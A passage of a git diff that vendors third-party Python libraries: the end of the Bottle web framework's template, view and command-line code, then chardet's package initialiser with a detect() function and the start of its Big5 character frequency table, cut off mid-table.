0 + if not multiline: + break + + return offset + + def flush_text(self): + text = ''.join(self.text_buffer) + del self.text_buffer[:] + if not text: return + parts, pos, nl = [], 0, '\\\n' + ' ' * self.indent + for m in self.re_inl.finditer(text): + prefix, pos = text[pos:m.start()], m.end() + if prefix: + parts.append(nl.join(map(repr, prefix.splitlines(True)))) + if prefix.endswith('\n'): parts[-1] += nl + parts.append(self.process_inline(m.group(1).strip())) + if pos < len(text): + prefix = text[pos:] + lines = prefix.splitlines(True) + if lines[-1].endswith('\\\\\n'): lines[-1] = lines[-1][:-3] + elif lines[-1].endswith('\\\\\r\n'): lines[-1] = lines[-1][:-4] + parts.append(nl.join(map(repr, lines))) + code = '_printlist((%s,))' % ', '.join(parts) + self.lineno += code.count('\n') + 1 + self.write_code(code) + + @staticmethod + def process_inline(chunk): + if chunk[0] == '!': return '_str(%s)' % chunk[1:] + return '_escape(%s)' % chunk + + def write_code(self, line, comment=''): + code = ' ' * (self.indent + self.indent_mod) + code += line.lstrip() + comment + '\n' + self.code_buffer.append(code) + + +def template(*args, **kwargs): + """ + Get a rendered template as a string iterator. + You can use a name, a filename or a template string as first parameter. + Template rendering arguments can be passed as dictionaries + or directly (as keyword arguments). + """ + tpl = args[0] if args else None + for dictarg in args[1:]: + kwargs.update(dictarg) + adapter = kwargs.pop('template_adapter', SimpleTemplate) + lookup = kwargs.pop('template_lookup', TEMPLATE_PATH) + tplid = (id(lookup), tpl) + if tplid not in TEMPLATES or DEBUG: + settings = kwargs.pop('template_settings', {}) + if isinstance(tpl, adapter): + TEMPLATES[tplid] = tpl + if settings: TEMPLATES[tplid].prepare(**settings) + elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl: + TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings) + else: + TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings) + if not TEMPLATES[tplid]: + abort(500, 'Template (%s) not found' % tpl) + return TEMPLATES[tplid].render(kwargs) + + +mako_template = functools.partial(template, template_adapter=MakoTemplate) +cheetah_template = functools.partial(template, + template_adapter=CheetahTemplate) +jinja2_template = functools.partial(template, template_adapter=Jinja2Template) + + +def view(tpl_name, **defaults): + """ Decorator: renders a template for a handler. + The handler can control its behavior like that: + + - return a dict of template vars to fill out the template + - return something other than a dict and the view decorator will not + process the template, but return the handler result as is. + This includes returning a HTTPResponse(dict) to get, + for instance, JSON with autojson or other castfilters. + """ + + def decorator(func): + + @functools.wraps(func) + def wrapper(*args, **kwargs): + result = func(*args, **kwargs) + if isinstance(result, (dict, DictMixin)): + tplvars = defaults.copy() + tplvars.update(result) + return template(tpl_name, **tplvars) + elif result is None: + return template(tpl_name, **defaults) + return result + + return wrapper + + return decorator + + +mako_view = functools.partial(view, template_adapter=MakoTemplate) +cheetah_view = functools.partial(view, template_adapter=CheetahTemplate) +jinja2_view = functools.partial(view, template_adapter=Jinja2Template) + +############################################################################### +# Constants and Globals ######################################################## +############################################################################### + +TEMPLATE_PATH = ['./', './views/'] +TEMPLATES = {} +DEBUG = False +NORUN = False # If set, run() does nothing. Used by load_app() + +#: A dict to map HTTP status codes (e.g. 404) to phrases (e.g. 'Not Found') +HTTP_CODES = httplib.responses.copy() +HTTP_CODES[418] = "I'm a teapot" # RFC 2324 +HTTP_CODES[428] = "Precondition Required" +HTTP_CODES[429] = "Too Many Requests" +HTTP_CODES[431] = "Request Header Fields Too Large" +HTTP_CODES[451] = "Unavailable For Legal Reasons" # RFC 7725 +HTTP_CODES[511] = "Network Authentication Required" +_HTTP_STATUS_LINES = dict((k, '%d %s' % (k, v)) + for (k, v) in HTTP_CODES.items()) + +#: The default template used for error pages. Override with @error() +ERROR_PAGE_TEMPLATE = """ +%%try: + %%from %s import DEBUG, request + <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> + <html> + <head> + <title>Error: {{e.status}} + + + +

    Error: {{e.status}}

    +

    Sorry, the requested URL {{repr(request.url)}} + caused an error:

    + 
    {{e.body}}
    + %%if DEBUG and e.exception: +

    Exception:

    + %%try: + %%exc = repr(e.exception) + %%except: + %%exc = '' %% type(e.exception).__name__ + %%end + 
    {{exc}}
    + %%end + %%if DEBUG and e.traceback: +

    Traceback:

    + 
    {{e.traceback}}
    + %%end + + +%%except ImportError: + ImportError: Could not generate the error page. Please add bottle to + the import path. +%%end +""" % __name__ + +#: A thread-safe instance of :class:`LocalRequest`. If accessed from within a +#: request callback, this instance always refers to the *current* request +#: (even on a multi-threaded server). +request = LocalRequest() + +#: A thread-safe instance of :class:`LocalResponse`. It is used to change the +#: HTTP response for the *current* request. +response = LocalResponse() + +#: A thread-safe namespace. Not used by Bottle. +local = threading.local() + +# Initialize app stack (create first empty Bottle app now deferred until needed) +# BC: 0.6.4 and needed for run() +apps = app = default_app = AppStack() + +#: A virtual package that redirects import statements. +#: Example: ``import bottle.ext.sqlite`` actually imports `bottle_sqlite`. +ext = _ImportRedirect('bottle.ext' if __name__ == '__main__' else + __name__ + ".ext", 'bottle_%s').module + + +def _main(argv): # pragma: no coverage + args, parser = _cli_parse(argv) + + def _cli_error(cli_msg): + parser.print_help() + _stderr('\nError: %s\n' % cli_msg) + sys.exit(1) + + if args.version: + print('Bottle %s' % __version__) + sys.exit(0) + if not args.app: + _cli_error("No application entry point specified.") + + sys.path.insert(0, '.') + sys.modules.setdefault('bottle', sys.modules['__main__']) + + host, port = (args.bind or 'localhost'), 8080 + if ':' in host and host.rfind(']') < host.rfind(':'): + host, port = host.rsplit(':', 1) + host = host.strip('[]') + + config = ConfigDict() + + for cfile in args.conf or []: + try: + if cfile.endswith('.json'): + with open(cfile, 'rb') as fp: + config.load_dict(json_loads(fp.read())) + else: + config.load_config(cfile) + except configparser.Error as parse_error: + _cli_error(parse_error) + except IOError: + _cli_error("Unable to read config file %r" % cfile) + except (UnicodeError, TypeError, ValueError) as error: + _cli_error("Unable to parse config file %r: %s" % (cfile, error)) + + for cval in args.param or []: + if '=' in cval: + config.update((cval.split('=', 1),)) + else: + config[cval] = True + + run(args.app, + host=host, + port=int(port), + server=args.server, + reloader=args.reload, + plugins=args.plugin, + debug=args.debug, + config=config) + + +def main(): + _main(sys.argv) + + +if __name__ == '__main__': # pragma: no coverage + main() diff --git a/extra/chardet/constants.py b/thirdparty/chardet/__init__.py old mode 100755 new mode 100644 similarity index 55% rename from extra/chardet/constants.py rename to thirdparty/chardet/__init__.py index e94e226b0a9..0f9f820ef6e --- a/extra/chardet/constants.py +++ b/thirdparty/chardet/__init__.py @@ -1,47 +1,39 @@ ######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Universal charset detector code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 2001 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# Shy Shalom - original C code -# # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -_debug = 0 -eDetecting = 0 -eFoundIt = 1 -eNotMe = 2 +from .compat import PY2, PY3 +from .universaldetector import UniversalDetector +from .version import __version__, VERSION -eStart = 0 -eError = 1 -eItsMe = 2 -SHORTCUT_THRESHOLD = 0.95 +def detect(byte_str): + """ + Detect the encoding of the given byte string. -import __builtin__ -if not hasattr(__builtin__, 'False'): - False = 0 - True = 1 -else: - False = __builtin__.False - True = __builtin__.True + :param byte_str: The byte sequence to examine. + :type byte_str: ``bytes`` or ``bytearray`` + """ + if not isinstance(byte_str, bytearray): + if not isinstance(byte_str, bytes): + raise TypeError('Expected object of type bytes or bytearray, got: ' + '{0}'.format(type(byte_str))) + else: + byte_str = bytearray(byte_str) + detector = UniversalDetector() + detector.feed(byte_str) + return detector.close() diff --git a/thirdparty/chardet/big5freq.py b/thirdparty/chardet/big5freq.py new file mode 100644 index 00000000000..38f32517aa8 --- /dev/null +++ b/thirdparty/chardet/big5freq.py @@ -0,0 +1,386 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# Big5 frequency table +# by Taiwan's Mandarin Promotion Council +# +# +# 128 --> 0.42261 +# 256 --> 0.57851 +# 512 --> 0.74851 +# 1024 --> 0.89384 +# 2048 --> 0.97583 +# +# Ideal Distribution Ratio = 0.74851/(1-0.74851) =2.98 +# Random Distribution Ration = 512/(5401-512)=0.105 +# +# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR + +BIG5_TYPICAL_DISTRIBUTION_RATIO = 0.75 + +#Char to FreqOrder table +BIG5_TABLE_SIZE = 5376 + +BIG5_CHAR_TO_FREQ_ORDER = ( + 1,1801,1506, 255,1431, 198, 9, 82, 6,5008, 177, 202,3681,1256,2821, 110, # 16 +3814, 33,3274, 261, 76, 44,2114, 16,2946,2187,1176, 659,3971, 26,3451,2653, # 32 +1198,3972,3350,4202, 410,2215, 302, 590, 361,1964, 8, 204, 58,4510,5009,1932, # 48 + 63,5010,5011, 317,1614, 75, 222, 159,4203,2417,1480,5012,3555,3091, 224,2822, # 64 +3682, 3, 10,3973,1471, 29,2787,1135,2866,1940, 873, 130,3275,1123, 312,5013, # 80 +4511,2052, 507, 252, 682,5014, 142,1915, 124, 206,2947, 34,3556,3204, 64, 604, # 96 +5015,2501,1977,1978, 155,1991, 645, 641,1606,5016,3452, 337, 72, 406,5017, 80, # 112 + 630, 238,3205,1509, 263, 939,1092,2654, 756,1440,1094,3453, 449, 69,2987, 591, # 128 + 179,2096, 471, 115,2035,1844, 60, 50,2988, 134, 806,1869, 734,2036,3454, 180, # 144 + 995,1607, 156, 537,2907, 688,5018, 319,1305, 779,2145, 514,2379, 298,4512, 359, # 160 +2502, 90,2716,1338, 663, 11, 906,1099,2553, 20,2441, 182, 532,1716,5019, 732, # 176 +1376,4204,1311,1420,3206, 25,2317,1056, 113, 399, 382,1950, 242,3455,2474, 529, # 192 +3276, 475,1447,3683,5020, 117, 21, 656, 810,1297,2300,2334,3557,5021, 126,4205, # 208 + 706, 456, 150, 613,4513, 71,1118,2037,4206, 145,3092, 85, 835, 486,2115,1246, # 224 +1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,5022,2128,2359, 347,3815, 221, # 240 +3558,3135,5023,1956,1153,4207, 83, 296,1199,3093, 192, 624, 93,5024, 822,1898, # 256 +2823,3136, 795,2065, 991,1554,1542,1592, 27, 43,2867, 859, 139,1456, 860,4514, # 272 + 437, 712,3974, 164,2397,3137, 695, 211,3037,2097, 195,3975,1608,3559,3560,3684, # 288 +3976, 234, 811,2989,2098,3977,2233,1441,3561,1615,2380, 668,2077,1638, 305, 228, # 304 +1664,4515, 467, 415,5025, 262,2099,1593, 239, 108, 300, 200,1033, 512,1247,2078, # 320 +5026,5027,2176,3207,3685,2682, 593, 845,1062,3277, 88,1723,2038,3978,1951, 212, # 336 + 266, 152, 149, 468,1899,4208,4516, 77, 187,5028,3038, 37, 5,2990,5029,3979, # 352 +5030,5031, 39,2524,4517,2908,3208,2079, 55, 148, 74,4518, 545, 483,1474,1029, # 368 +1665, 217,1870,1531,3138,1104,2655,4209, 24, 172,3562, 900,3980,3563,3564,4519, # 384 + 32,1408,2824,1312, 329, 487,2360,2251,2717, 784,2683, 4,3039,3351,1427,1789, # 400 + 188, 109, 499,5032,3686,1717,1790, 888,1217,3040,4520,5033,3565,5034,3352,1520, # 416 +3687,3981, 196,1034, 775,5035,5036, 929,1816, 249, 439, 38,5037,1063,5038, 794, # 432 +3982,1435,2301, 46, 178,3278,2066,5039,2381,5040, 214,1709,4521, 804, 35, 707, # 448 + 324,3688,1601,2554, 140, 459,4210,5041,5042,1365, 839, 272, 978,2262,2580,3456, # 464 +2129,1363,3689,1423, 697, 100,3094, 48, 70,1231, 495,3139,2196,5043,1294,5044, # 480 +2080, 462, 586,1042,3279, 853, 256, 988, 185,2382,3457,1698, 434,1084,5045,3458, # 496 + 314,2625,2788,4522,2335,2336, 569,2285, 637,1817,2525, 757,1162,1879,1616,3459, # 512 + 287,1577,2116, 768,4523,1671,2868,3566,2526,1321,3816, 909,2418,5046,4211, 933, # 528 +3817,4212,2053,2361,1222,4524, 765,2419,1322, 786,4525,5047,1920,1462,1677,2909, # 544 +1699,5048,4526,1424,2442,3140,3690,2600,3353,1775,1941,3460,3983,4213, 309,1369, # 560 +1130,2825, 364,2234,1653,1299,3984,3567,3985,3986,2656, 525,1085,3041, 902,2001, # 576 +1475, 964,4527, 421,1845,1415,1057,2286, 940,1364,3141, 376,4528,4529,1381, 7, # 592 +2527, 983,2383, 336,1710,2684,1846, 321,3461, 559,1131,3042,2752,1809,1132,1313, # 608 + 265,1481,1858,5049, 352,1203,2826,3280, 167,1089, 420,2827, 776, 792,1724,3568, # 624 +4214,2443,3281,5050,4215,5051, 446, 229, 333,2753, 901,3818,1200,1557,4530,2657, # 640 +1921, 395,2754,2685,3819,4216,1836, 125, 916,3209,2626,4531,5052,5053,3820,5054, # 656 +5055,5056,4532,3142,3691,1133,2555,1757,3462,1510,2318,1409,3569,5057,2146, 438, # 672 +2601,2910,2384,3354,1068, 958,3043, 461, 311,2869,2686,4217,1916,3210,4218,1979, # 688 + 383, 750,2755,2627,4219, 274, 539, 385,1278,1442,5058,1154,1965, 384, 561, 210, # 704 + 98,1295,2556,3570,5059,1711,2420,1482,3463,3987,2911,1257, 129,5060,3821, 642, # 720 + 523,2789,2790,2658,5061, 141,2235,1333, 68, 176, 441, 876, 907,4220, 603,2602, # 736 + 710, 171,3464, 404, 549, 18,3143,2398,1410,3692,1666,5062,3571,4533,2912,4534, # 752 +5063,2991, 368,5064, 146, 366, 99, 871,3693,1543, 748, 807,1586,1185, 22,2263, # 768 + 379,3822,3211,5065,3212, 505,1942,2628,1992,1382,2319,5066, 380,2362, 218, 702, # 784 +1818,1248,3465,3044,3572,3355,3282,5067,2992,3694, 930,3283,3823,5068, 59,5069, # 800 + 585, 601,4221, 497,3466,1112,1314,4535,1802,5070,1223,1472,2177,5071, 749,1837, # 816 + 690,1900,3824,1773,3988,1476, 429,1043,1791,2236,2117, 917,4222, 447,1086,1629, # 832 +5072, 556,5073,5074,2021,1654, 844,1090, 105, 550, 966,1758,2828,1008,1783, 686, # 848 +1095,5075,2287, 793,1602,5076,3573,2603,4536,4223,2948,2302,4537,3825, 980,2503, # 864 + 544, 353, 527,4538, 908,2687,2913,5077, 381,2629,1943,1348,5078,1341,1252, 560, # 880 +3095,5079,3467,2870,5080,2054, 973, 886,2081, 143,4539,5081,5082, 157,3989, 496, # 896 +4224, 57, 840, 540,2039,4540,4541,3468,2118,1445, 970,2264,1748,1966,2082,4225, # 912 +3144,1234,1776,3284,2829,3695, 773,1206,2130,1066,2040,1326,3990,1738,1725,4226, # 928 + 279,3145, 51,1544,2604, 423,1578,2131,2067, 173,4542,1880,5083,5084,1583, 264, # 944 + 610,3696,4543,2444, 280, 154,5085,5086,5087,1739, 338,1282,3096, 693,2871,1411, # 960 +1074,3826,2445,5088,4544,5089,5090,1240, 952,2399,5091,2914,1538,2688, 685,1483, # 976 +4227,2475,1436, 953,4228,2055,4545, 671,2400, 79,4229,2446,3285, 608, 567,2689, # 992 +3469,4230,4231,1691, 393,1261,1792,2401,5092,4546,5093,5094,5095,5096,1383,1672, # 1008 +3827,3213,1464, 522,1119, 661,1150, 216, 675,4547,3991,1432,3574, 609,4548,2690, # 1024 +2402,5097,5098,5099,4232,3045, 0,5100,2476, 315, 231,2447, 301,3356,4549,2385, # 1040 +5101, 233,4233,3697,1819,4550,4551,5102, 96,1777,1315,2083,5103, 257,5104,1810, # 1056 +3698,2718,1139,1820,4234,2022,1124,2164,2791,1778,2659,5105,3097, 363,1655,3214, # 1072 +5106,2993,5107,5108,5109,3992,1567,3993, 718, 103,3215, 849,1443, 341,3357,2949, # 1088 +1484,5110,1712, 127, 67, 339,4235,2403, 679,1412, 821,5111,5112, 834, 738, 351, # 1104 +2994,2147, 846, 235,1497,1881, 418,1993,3828,2719, 186,1100,2148,2756,3575,1545, # 1120 +1355,2950,2872,1377, 583,3994,4236,2581,2995,5113,1298,3699,1078,2557,3700,2363, # 1136 + 78,3829,3830, 267,1289,2100,2002,1594,4237, 348, 369,1274,2197,2178,1838,4552, # 1152 +1821,2830,3701,2757,2288,2003,4553,2951,2758, 144,3358, 882,4554,3995,2759,3470, # 1168 +4555,2915,5114,4238,1726, 320,5115,3996,3046, 788,2996,5116,2831,1774,1327,2873, # 1184 +3997,2832,5117,1306,4556,2004,1700,3831,3576,2364,2660, 787,2023, 506, 824,3702, # 1200 + 534, 323,4557,1044,3359,2024,1901, 946,3471,5118,1779,1500,1678,5119,1882,4558, # 1216 + 165, 243,4559,3703,2528, 123, 683,4239, 764,4560, 36,3998,1793, 589,2916, 816, # 1232 + 626,1667,3047,2237,1639,1555,1622,3832,3999,5120,4000,2874,1370,1228,1933, 891, # 1248 +2084,2917, 304,4240,5121, 292,2997,2720,3577, 691,2101,4241,1115,4561, 118, 662, # 1264 +5122, 611,1156, 854,2386,1316,2875, 2, 386, 515,2918,5123,5124,3286, 868,2238, # 1280 +1486, 855,2661, 785,2216,3048,5125,1040,3216,3578,5126,3146, 448,5127,1525,5128, # 1296 +2165,4562,5129,3833,5130,4242,2833,3579,3147, 503, 818,4001,3148,1568, 814, 676, # 1312 +1444, 306,1749,5131,3834,1416,1030, 197,1428, 805,2834,1501,4563,5132,5133,5134, # 1328 +1994,5135,4564,5136,5137,2198, 13,2792,3704,2998,3149,1229,1917,5138,3835,2132, # 1344 +5139,4243,4565,2404,3580,5140,2217,1511,1727,1120,5141,5142, 646,3836,2448, 307, # 1360 +5143,5144,1595,3217,5145,5146,5147,3705,1113,1356,4002,1465,2529,2530,5148, 519, # 1376 +5149, 128,2133, 92,2289,1980,5150,4003,1512, 342,3150,2199,5151,2793,2218,1981, # 1392 +3360,4244, 290,1656,1317, 789, 827,2365,5152,3837,4566, 562, 581,4004,5153, 401, # 1408 +4567,2252, 94,4568,5154,1399,2794,5155,1463,2025,4569,3218,1944,5156, 828,1105, # 1424 +4245,1262,1394,5157,4246, 605,4570,5158,1784,2876,5159,2835, 819,2102, 578,2200, # 1440 +2952,5160,1502, 436,3287,4247,3288,2836,4005,2919,3472,3473,5161,2721,2320,5162, # 1456 +5163,2337,2068, 23,4571, 193, 826,3838,2103, 699,1630,4248,3098, 390,1794,1064, # 1472 +3581,5164,1579,3099,3100,1400,5165,4249,1839,1640,2877,5166,4572,4573, 137,4250, # 1488 + 598,3101,1967, 780, 104, 974,2953,5167, 278, 899, 253, 402, 572, 504, 493,1339, # 1504 +5168,4006,1275,4574,2582,2558,5169,3706,3049,3102,2253, 565,1334,2722, 863, 41, # 1520 +5170,5171,4575,5172,1657,2338, 19, 463,2760,4251, 606,5173,2999,3289,1087,2085, # 1536 +1323,2662,3000,5174,1631,1623,1750,4252,2691,5175,2878, 791,2723,2663,2339, 232, # 1552 +2421,5176,3001,1498,5177,2664,2630, 755,1366,3707,3290,3151,2026,1609, 119,1918, # 1568 +3474, 862,1026,4253,5178,4007,3839,4576,4008,4577,2265,1952,2477,5179,1125, 817, # 1584 +4254,4255,4009,1513,1766,2041,1487,4256,3050,3291,2837,3840,3152,5180,5181,1507, # 1600 +5182,2692, 733, 40,1632,1106,2879, 345,4257, 841,2531, 230,4578,3002,1847,3292, # 1616 +3475,5183,1263, 986,3476,5184, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562, # 1632 +4010,4011,2954, 967,2761,2665,1349, 592,2134,1692,3361,3003,1995,4258,1679,4012, # 1648 +1902,2188,5185, 739,3708,2724,1296,1290,5186,4259,2201,2202,1922,1563,2605,2559, # 1664 +1871,2762,3004,5187, 435,5188, 343,1108, 596, 17,1751,4579,2239,3477,3709,5189, # 1680 +4580, 294,3582,2955,1693, 477, 979, 281,2042,3583, 643,2043,3710,2631,2795,2266, # 1696 +1031,2340,2135,2303,3584,4581, 367,1249,2560,5190,3585,5191,4582,1283,3362,2005, # 1712 + 240,1762,3363,4583,4584, 836,1069,3153, 474,5192,2149,2532, 268,3586,5193,3219, # 1728 +1521,1284,5194,1658,1546,4260,5195,3587,3588,5196,4261,3364,2693,1685,4262, 961, # 1744 +1673,2632, 190,2006,2203,3841,4585,4586,5197, 570,2504,3711,1490,5198,4587,2633, # 1760 +3293,1957,4588, 584,1514, 396,1045,1945,5199,4589,1968,2449,5200,5201,4590,4013, # 1776 + 619,5202,3154,3294, 215,2007,2796,2561,3220,4591,3221,4592, 763,4263,3842,4593, # 1792 +5203,5204,1958,1767,2956,3365,3712,1174, 452,1477,4594,3366,3155,5205,2838,1253, # 1808 +2387,2189,1091,2290,4264, 492,5206, 638,1169,1825,2136,1752,4014, 648, 926,1021, # 1824 +1324,4595, 520,4596, 997, 847,1007, 892,4597,3843,2267,1872,3713,2405,1785,4598, # 1840 +1953,2957,3103,3222,1728,4265,2044,3714,4599,2008,1701,3156,1551, 30,2268,4266, # 1856 +5207,2027,4600,3589,5208, 501,5209,4267, 594,3478,2166,1822,3590,3479,3591,3223, # 1872 + 829,2839,4268,5210,1680,3157,1225,4269,5211,3295,4601,4270,3158,2341,5212,4602, # 1888 +4271,5213,4015,4016,5214,1848,2388,2606,3367,5215,4603, 374,4017, 652,4272,4273, # 1904 + 375,1140, 798,5216,5217,5218,2366,4604,2269, 546,1659, 138,3051,2450,4605,5219, # 1920 +2254, 612,1849, 910, 796,3844,1740,1371, 825,3845,3846,5220,2920,2562,5221, 692, # 1936 + 444,3052,2634, 801,4606,4274,5222,1491, 244,1053,3053,4275,4276, 340,5223,4018, # 1952 +1041,3005, 293,1168, 87,1357,5224,1539, 959,5225,2240, 721, 694,4277,3847, 219, # 1968 +1478, 644,1417,3368,2666,1413,1401,1335,1389,4019,5226,5227,3006,2367,3159,1826, # 1984 + 730,1515, 184,2840, 66,4607,5228,1660,2958, 246,3369, 378,1457, 226,3480, 975, # 2000 +4020,2959,1264,3592, 674, 696,5229, 163,5230,1141,2422,2167, 713,3593,3370,4608, # 2016 +4021,5231,5232,1186, 15,5233,1079,1070,5234,1522,3224,3594, 276,1050,2725, 758, # 2032 +1126, 653,2960,3296,5235,2342, 889,3595,4022,3104,3007, 903,1250,4609,4023,3481, # 2048 +3596,1342,1681,1718, 766,3297, 286, 89,2961,3715,5236,1713,5237,2607,3371,3008, # 2064 +5238,2962,2219,3225,2880,5239,4610,2505,2533, 181, 387,1075,4024, 731,2190,3372, # 2080 +5240,3298, 310, 313,3482,2304, 770,4278, 54,3054, 189,4611,3105,3848,4025,5241, # 2096 +1230,1617,1850, 355,3597,4279,4612,3373, 111,4280,3716,1350,3160,3483,3055,4281, # 2112 +2150,3299,3598,5242,2797,4026,4027,3009, 722,2009,5243,1071, 247,1207,2343,2478, # 2128 +1378,4613,2010, 864,1437,1214,4614, 373,3849,1142,2220, 667,4615, 442,2763,2563, # 2144 +3850,4028,1969,4282,3300,1840, 837, 170,1107, 934,1336,1883,5244,5245,2119,4283, # 2160 +2841, 743,1569,5246,4616,4284, 582,2389,1418,3484,5247,1803,5248, 357,1395,1729, # 2176 +3717,3301,2423,1564,2241,5249,3106,3851,1633,4617,1114,2086,4285,1532,5250, 482, # 2192 +2451,4618,5251,5252,1492, 833,1466,5253,2726,3599,1641,2842,5254,1526,1272,3718, # 2208 +4286,1686,1795, 416,2564,1903,1954,1804,5255,3852,2798,3853,1159,2321,5256,2881, # 2224 +4619,1610,1584,3056,2424,2764, 443,3302,1163,3161,5257,5258,4029,5259,4287,2506, # 2240 +3057,4620,4030,3162,2104,1647,3600,2011,1873,4288,5260,4289, 431,3485,5261, 250, # 2256 + 97, 81,4290,5262,1648,1851,1558, 160, 848,5263, 866, 740,1694,5264,2204,2843, # 2272 +3226,4291,4621,3719,1687, 950,2479, 426, 469,3227,3720,3721,4031,5265,5266,1188, # 2288 + 424,1996, 861,3601,4292,3854,2205,2694, 168,1235,3602,4293,5267,2087,1674,4622, # 2304 +3374,3303, 220,2565,1009,5268,3855, 670,3010, 332,1208, 717,5269,5270,3603,2452, # 2320 +4032,3375,5271, 513,5272,1209,2882,3376,3163,4623,1080,5273,5274,5275,5276,2534, # 2336 +3722,3604, 815,1587,4033,4034,5277,3605,3486,3856,1254,4624,1328,3058,1390,4035, # 2352 +1741,4036,3857,4037,5278, 236,3858,2453,3304,5279,5280,3723,3859,1273,3860,4625, # 2368 +5281, 308,5282,4626, 245,4627,1852,2480,1307,2583, 430, 715,2137,2454,5283, 270, # 2384 + 199,2883,4038,5284,3606,2727,1753, 761,1754, 725,1661,1841,4628,3487,3724,5285, # 2400 +5286, 587, 14,3305, 227,2608, 326, 480,2270, 943,2765,3607, 291, 650,1884,5287, # 2416 +1702,1226, 102,1547, 62,3488, 904,4629,3489,1164,4294,5288,5289,1224,1548,2766, # 2432 + 391, 498,1493,5290,1386,1419,5291,2056,1177,4630, 813, 880,1081,2368, 566,1145, # 2448 +4631,2291,1001,1035,2566,2609,2242, 394,1286,5292,5293,2069,5294, 86,1494,1730, # 2464 +4039, 491,1588, 745, 897,2963, 843,3377,4040,2767,2884,3306,1768, 998,2221,2070, # 2480 + 397,1827,1195,1970,3725,3011,3378, 284,5295,3861,2507,2138,2120,1904,5296,4041, # 2496 +2151,4042,4295,1036,3490,1905, 114,2567,4296, 209,1527,5297,5298,2964,2844,2635, # 2512 +2390,2728,3164, 812,2568,5299,3307,5300,1559, 737,1885,3726,1210, 885, 28,2695, # 2528 +3608,3862,5301,4297,1004,1780,4632,5302, 346,1982,2222,2696,4633,3863,1742, 797, # 2544 +1642,4043,1934,1072,1384,2152, 896,4044,3308,3727,3228,2885,3609,5303,2569,1959, # 2560 +4634,2455,1786,5304,5305,5306,4045,4298,1005,1308,3728,4299,2729,4635,4636,1528, # 2576 +2610, 161,1178,4300,1983, 987,4637,1101,4301, 631,4046,1157,3229,2425,1343,1241, # 2592 +1016,2243,2570, 372, 877,2344,2508,1160, 555,1935, 911,4047,5307, 466,1170, 169, # 2608 +1051,2921,2697,3729,2481,3012,1182,2012,2571,1251,2636,5308, 992,2345,3491,1540, # 2624 +2730,1201,2071,2406,1997,2482,5309,4638, 528,1923,2191,1503,1874,1570,2369,3379, # 2640 +3309,5310, 557,1073,5311,1828,3492,2088,2271,3165,3059,3107, 767,3108,2799,4639, # 2656 +1006,4302,4640,2346,1267,2179,3730,3230, 778,4048,3231,2731,1597,2667,5312,4641, # 2672 +5313,3493,5314,5315,5316,3310,2698,1433,3311, 131, 95,1504,4049, 723,4303,3166, # 2688 +1842,3610,2768,2192,4050,2028,2105,3731,5317,3013,4051,1218,5318,3380,3232,4052, # 2704 +4304,2584, 248,1634,3864, 912,5319,2845,3732,3060,3865, 654, 53,5320,3014,5321, # 2720 +1688,4642, 777,3494,1032,4053,1425,5322, 191, 820,2121,2846, 971,4643, 931,3233, # 2736 + 135, 664, 783,3866,1998, 772,2922,1936,4054,3867,4644,2923,3234, 282,2732, 640, # 2752 +1372,3495,1127, 922, 325,3381,5323,5324, 711,2045,5325,5326,4055,2223,2800,1937, # 2768 +4056,3382,2224,2255,3868,2305,5327,4645,3869,1258,3312,4057,3235,2139,2965,4058, # 2784 +4059,5328,2225, 258,3236,4646, 101,1227,5329,3313,1755,5330,1391,3314,5331,2924, # 2800 +2057, 893,5332,5333,5334,1402,4305,2347,5335,5336,3237,3611,5337,5338, 878,1325, # 2816 +1781,2801,4647, 259,1385,2585, 744,1183,2272,4648,5339,4060,2509,5340, 684,1024, # 2832 +4306,5341, 472,3612,3496,1165,3315,4061,4062, 322,2153, 881, 455,1695,1152,1340, # 2848 + 660, 554,2154,4649,1058,4650,4307, 830,1065,3383,4063,4651,1924,5342,1703,1919, # 2864 +5343, 932,2273, 122,5344,4652, 947, 677,5345,3870,2637, 297,1906,1925,2274,4653, # 2880 +2322,3316,5346,5347,4308,5348,4309, 84,4310, 112, 989,5349, 547,1059,4064, 701, # 2896 +3613,1019,5350,4311,5351,3497, 942, 639, 457,2306,2456, 993,2966, 407, 851, 494, # 2912 +4654,3384, 927,5352,1237,5353,2426,3385, 573,4312, 680, 921,2925,1279,1875, 285, # 2928 + 790,1448,1984, 719,2168,5354,5355,4655,4065,4066,1649,5356,1541, 563,5357,1077, # 2944 +5358,3386,3061,3498, 511,3015,4067,4068,3733,4069,1268,2572,3387,3238,4656,4657, # 2960 +5359, 535,1048,1276,1189,2926,2029,3167,1438,1373,2847,2967,1134,2013,5360,4313, # 2976 +1238,2586,3109,1259,5361, 